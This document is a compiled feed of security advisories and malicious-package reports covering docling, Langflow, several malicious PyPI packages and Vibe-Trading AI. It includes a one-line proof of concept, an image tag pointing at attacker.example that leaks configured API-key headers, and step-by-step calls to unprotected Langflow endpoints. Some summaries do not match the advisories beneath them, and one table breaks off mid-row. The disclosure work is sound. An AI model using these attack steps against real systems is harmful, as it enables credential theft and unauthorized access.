CVE-2026-105743 is a time-of-check to time-of-use (TOCTOU) race condition vulnerability in the docling-project's docling software. Versions from 2.91.0 up to but not including 2.132.0 are affected. The issue arises because the validate_url_safety function performs a single IPv4 lookup to validate a hostname but then allows the HTTP client to resolve and parse the original URL again, enabling DNS rebinding and mixed public/internal address records to bypass validation. Additionally, HTMLBackendOptions(render_page=True) permits HTTP and HTTPS requests without validating the resolved destination. Exploitation requires remote fetching to be enabled, and the response content is only exposed when decoded as an image or rendered passively in a page screenshot. The vulnerability is fixed in version 2.132.0.
### Summary
`HTMLBackendOptions.headers` is documented for passing authentication headers (API keys, bearer tokens) when fetching remote images. docling sends these headers on every remote image request, to whichever host the document names. An untrusted document that references an attacker-controlled image URL receives the caller's credentials.
### Details
`docling/backend/utils/image_resource_loader.py` merges `options.headers` into each remote request without checking the destination against the source document's origin. `requests` strips only `Authorization` on a cross-host redirect, so custom headers such as `X-API-Key` or `Cookie` are also forwarded across redirects.
### Affected configurations
- Affected: callers that set `headers` together with `enable_remote_fetch=True` and `fetch_images=True` (CLI: `--html-image-headers` with `--html-image-fetch remote` or `all`), and convert untrusted HTML.
- Not affected: the default configuration.
### Impact
Disclosure of the configured request headers, typically credentials, to a host chosen by the document author.
### Proof of concept
```html
<img src="https://attacker.example/pixel.png">
```
Converting this file with `HTMLBackendOptions(enable_remote_fetch=True, fetch_images=True, headers={"X-API-Key": "..."})` sends the key to `attacker.example`.
Other items from the original report (DNS validation and unvalidated browser requests) are tracked in GHSA-pc36-qwjq-x68c.
### Patches
Fixed in docling 2.132.0 by [#4420](https://github.com/docling-project/docling/pull/4420). Configured headers are now sent only to the origin of the source document, checked on every redirect hop, and no longer to other hosts named by the document.
### Workarounds
Upgrade to 2.132.0. For older versions:
Do not set `headers` when converting untrusted documents, or use credentials that are valid only for the intended host and have no other value.
CVE-2026-105699 is an authorization bypass vulnerability in langflow versions 1.6.8 through 1.9.0. It allows a user with access to any project-scoped MCP endpoint to read another user's private flow-backed files without proper authorization. The flaw arises because the resource URI supplied by the user is not verified to belong to the authenticated user or project. This vulnerability exposes sensitive uploaded documents, structured data, prompts, and other private artifacts but does not allow modification of victim files or flows. The issue is fixed in langflow version 1.9.1.
### Summary
Before **Langflow 1.10.1**, two deprecated but still-routed endpoints in the chat API did not check that the authenticated caller owns the flow referenced in the URL path:
- `POST /api/v1/build/{flow_id}/vertices` (`retrieve_vertices_order`)
- `POST /api/v1/build/{flow_id}/vertices/{vertex_id}` (`build_vertex`)
Any authenticated user who knows (or obtains) another user's `flow_id` could load that user's private flow graph, enumerate its vertex IDs, and build (execute) individual vertices of it, receiving the vertex results in the response.
Both routes are declared with `deprecated=True, include_in_schema=False`, so they do not appear in the OpenAPI docs, but they remained registered on the router. The Langflow UI no longer calls them (it uses `POST /api/v1/build/{flow_id}/flow`), so they are only reachable by direct HTTP requests.
The issue is fixed in **Langflow 1.10.1** (`langflow-base` 0.10.1) by [#13153](https://github.com/langflow-ai/langflow/pull/13153).
### Details
In affected versions, both handlers go straight to the graph loader:
- `retrieve_vertices_order` (`src/backend/base/langflow/api/v1/chat.py`, lines 81-159 in 1.9.1) only required authentication via `dependencies=[Depends(get_current_active_user)]`. The user was never injected into the handler, and the flow was loaded with `build_graph_from_db(flow_id=flow_id, ...)`.
- `build_vertex` (`chat.py`, lines 320-491 in 1.9.1) receives `current_user`, but only uses it for variable resolution (`user_id=str(current_user.id)`). It is never used to scope the flow lookup. The graph is taken from the chat-service cache keyed by `flow_id`, or rebuilt with `build_graph_from_db` on a cache miss.
- `build_graph_from_db_no_cache` (`src/backend/base/langflow/api/utils/flow_utils.py`) does a bare primary-key lookup, `session.get(Flow, flow_id)`, with no owner filter.
The supported replacement, `POST /api/v1/build/{flow_id}/flow`, already restricted the lookup to the owner or a `PUBLIC` flow (added in #12305 for GHSA-qj98-rhf8-v93f). The deprecated siblings were not covered by that fix, nor by the `_read_flow` fix for GHSA-8c4j-f57c-35cf.
Additional side effects in affected versions:
- `retrieve_vertices_order` stores the graph in the chat-service cache under the victim's `flow_id` (`chat_service.set_cache(str(flow_id), graph)`). When the request includes a `data` body, the cached graph is attacker-supplied.
- `build_vertex` schedules `log_vertex_build` for the victim's `flow_id`, so attacker-triggered builds are recorded in the victim flow's vertex build history.
Note on older versions: up to and including **1.7.1**, these two routes had no authentication dependency at all. Authentication was added in 1.7.2 by #10977, but no ownership check was added. This advisory covers the missing ownership check, which is present in every release from 1.0.0 (when the routes were introduced) through 1.10.0.
### Attack scenario
1. The attacker authenticates as any valid user.
2. The attacker obtains a victim `flow_id` (shared URLs, exported flow files, logs, screenshots, etc.).
3. `POST /api/v1/build/{victim_flow_id}/vertices` returns **200 OK** with `{"ids": [...], "run_id": "...", "vertices_to_run": [...]}` listing the victim flow's vertex IDs (component type plus suffix, e.g. `ChatInput-abc12`).
4. The attacker calls `POST /api/v1/build/{victim_flow_id}/vertices/{vertex_id}` for a returned ID. The victim's graph is loaded and the vertex is built. Its results, outputs and artifacts are returned to the attacker.
### Impact
- **Confidentiality (Low):** Discloses the structure of private flows (vertex IDs and component types) and the outputs of vertices the attacker chooses to build. That includes values hardcoded in node configuration, such as prompt text or fixed inputs.
- Global variables and credentials in the variable store are **not** exposed, because variable resolution uses the caller's `user_id`.
- The victim's stored flow definition is not returned wholesale.
- **Integrity (Low):** The attacker can trigger execution of the victim's nodes, including any side effects baked into their configuration (fixed endpoints, webhooks, hardcoded API keys). Build records are written under the victim's `flow_id`. The attacker cannot modify the stored flow.
- **Availability:** None.
The attacker must be authenticated and must know the target flow UUID. Flow UUIDs are random v4 values, so blind enumeration is not practical.
### Proof of concept
Observed on `langflow==1.9.1` using the project's test client and in-memory SQLite fixtures (see the attached `poc.zip`):
| Request | Expected (hardened) | Observed on 1.9.1 |
|---|---|---|
| Attacker → `POST /api/v1/build/{victim_flow_id}/vertices` | `404 Not Found` | `200 OK` with vertex order payload |
| Attacker → `POST /api/v1/build/{victim_flow_id}/vertices/<bogus-id>` | `404 Not Found` | `500` `{"detail":"Vertex <id> not found"}`: the victim graph was loaded before the vertex lookup failed |
| Owner (
CVE-2026-105697 is a critical OS command injection vulnerability in langflow-ai's langflow prior to version 1.10.3. It allows an authenticated user or, under default insecure configurations, an unauthenticated user to execute arbitrary OS commands on the host running langflow by configuring malicious MCP servers. The vulnerability arises from insufficient validation of commands and arguments passed to the MCP stdio transport, which executes them via a shell wrapper before version 1.10.3. This flaw was fully fixed in langflow 1.10.3 by enforcing strict command allowlisting and removing shell usage in command execution.
The anthropic-sdk package version 0.1.0 on PyPI contains malicious code that downloads and executes a remote script. It fingerprints the environment to detect sandboxing and delays execution before exfiltrating sensitive data such as credentials, environment variables, AI chat files, and SSH keys. If HTTPS exfiltration fails, it attempts DNS-based data exfiltration. The package also uses DNS to control execution centrally.
zencleaner versions 1.0.0, 1.0.3, and 1.0.3.1, advertised as local Windows cleaning tools with no telemetry or outbound calls, secretly send license keys, machine identity details, and public IP addresses to a hardcoded Discord webhook. Additionally, the software clears Windows event logs, including security logs, to evade forensic detection. These actions contradict the product's claims and pose privacy and security risks.
The PyPI package 'caoxiltts' versions 0.1.0 and 0.1.1 contains malicious code that deploys a cryptocurrency miner instead of performing its advertised functions. This behavior is part of a campaign identified as 2026-10-voxeval, which involves malicious intent such as cryptomining. There is no CVSS score available for this threat.
---
_-= Per source details. Do not edit below this line.=-_
## Source: kam193 (4abc7154004498e9054ca8ac239acd73ab86815f6029ad5d52e4c883488f4c70)
The package imitates real activity and instead deploys a coin miner.
---
Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.
Campaign: 2026-10-voxeval
Reasons (based on the campaign):
- cryptominer
---
_-= Per source details. Do not edit below this line.=-_
## Source: kam193 (12f18950a276ca27a304d3053835b0102656168083e7ddf414fffb112cbe01ba)
The package imitates real activity and instead deploys a coin miner.
---
Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.
Campaign: 2026-10-voxeval
Reasons (based on the campaign):
- cryptominer
---
_-= Per source details. Do not edit below this line.=-_
## Source: kam193 (28ef552864bd4b4558137163734077a2429281647a26868f40d8d735af95c967)
The package imitates real activity and instead deploys a coin miner.
---
Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.
Campaign: 2026-10-voxeval
Reasons (based on the campaign):
- cryptominer
---
_-= Per source details. Do not edit below this line.=-_
## Source: kam193 (18746c0b1bc840ee608e3aba81f9e18e4411373b8993d315177e95614fe67b08)
The package imitates real activity and instead deploys a coin miner.
---
Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.
Campaign: 2026-10-voxeval
Reasons (based on the campaign):
- cryptominer
---
_-= Per source details. Do not edit below this line.=-_
## Source: kam193 (92a0735c100233f803adcf4cec20645acbb5f01b1757e8889dfaa631e49dae71)
The package imitates real activity and instead deploys a coin miner.
---
Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.
Campaign: 2026-10-voxeval
Reasons (based on the campaign):
- cryptominer
---
_-= Per source details. Do not edit below this line.=-_
## Source: kam193 (c0f6ddfc6a324d42219bbea8405be17115f83eca0e2d2eecb4e3fe6b6ec3dbde)
The package imitates real activity and instead deploys a coin miner.
---
Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.
Campaign: 2026-10-voxeval
Reasons (based on the campaign):
- cryptominer
---
_-= Per source details. Do not edit below this line.=-_
## Source: kam193 (5050cd1cac91a217e828de6f54792051b810c43bf9ee5d53e913479fb059715c)
The package imitates real activity and instead deploys a coin miner.
---
Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.
Campaign: 2026-10-voxeval
Reasons (based on the campaign):
- cryptominer
The echogen package on PyPI version 1.0.0 contains malicious code that exfiltrates basic host information such as IP address and username upon installation or import. The package overrides the install command in setup.py to execute this malicious behavior. It serves no legitimate purpose beyond this data exfiltration.
The PyPI package 'voxcpmtts3' versions 0.1.0, 0.1.1, and 0.1.2 contains malicious code that impersonates legitimate activity but actually deploys a cryptocurrency miner. This behavior is part of a campaign identified as 2026-10-voxeval, which has clear malicious intent. There is no CVSS score available for this threat.
The voxel-tts package on PyPI versions 0.5.0 and 0.5.1 contains malicious code that deploys a cryptocurrency miner instead of its advertised functionality. This is part of a campaign identified as 2026-10-voxeval with clear malicious intent.
Vibe-Trading AI version 0.1.0 through 0.1.6 contains multiple critical security vulnerabilities, including unauthenticated full API exposure and remote code execution (RCE). The primary critical issue allows unauthenticated attackers to execute arbitrary shell commands as root inside the container via the /sessions/{id}/messages endpoint due to missing authentication enforcement when API_AUTH_KEY is unset. Additional findings include authorization gaps, unauthenticated file uploads, permissive CORS configurations, and partial API key disclosure. The Docker container runs as root by default, increasing the impact of exploitation. A patch is available to address these issues.
Vibe-Trading AI contains two related path traversal vulnerabilities in its file-read tools, allowing unauthenticated users to read arbitrary files within the container's root home (/root) and application directory (/app). The safe_user_path() function incorrectly permits any path under these directories, exposing sensitive files such as SSH keys, AWS credentials, and environment variables. Additionally, the read_document() function lacks sandboxing, enabling reading of any file accessible to the FastAPI process, including critical system files like /etc/shadow. The container runs as root, exacerbating the risk. These vulnerabilities can leak sensitive file contents via error messages when the files are parsed as trade journals. A patch is available to address both issues.